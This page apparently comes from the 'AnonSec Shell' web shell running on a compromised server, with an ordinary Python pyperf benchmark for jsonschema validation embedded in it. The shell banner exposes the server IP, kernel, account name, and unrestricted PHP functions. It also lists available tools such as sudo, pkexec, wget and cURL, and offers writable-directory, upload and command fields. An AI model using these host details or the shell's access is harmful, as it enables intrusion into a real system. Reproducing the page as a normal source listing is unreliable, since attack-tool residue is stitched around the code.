AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 3.133.156.201
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/opt/nydus/ops/jsonschema/benchmarks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/opt/nydus/ops/jsonschema/benchmarks/useless_keywords.py
"""
A benchmark for validation of schemas containing lots of useless keywords.

Checks we filter them out once, ahead of time.
"""

from pyperf import Runner

from jsonschema import Draft202012Validator

NUM_USELESS = 100000
schema = dict(
    [
        ("not", {"const": 42}),
        *((str(i), i) for i in range(NUM_USELESS)),
        ("type", "integer"),
        *((str(i), i) for i in range(NUM_USELESS, NUM_USELESS)),
        ("minimum", 37),
    ],
)
validator = Draft202012Validator(schema)

valid = 3737
invalid = 12


if __name__ == "__main__":
    runner = Runner()
    runner.bench_func("beginning of schema", lambda: validator.is_valid(42))
    runner.bench_func("middle of schema", lambda: validator.is_valid("foo"))
    runner.bench_func("end of schema", lambda: validator.is_valid(12))
    runner.bench_func("valid", lambda: validator.is_valid(3737))

Anon7 - 2022
AnonSec Team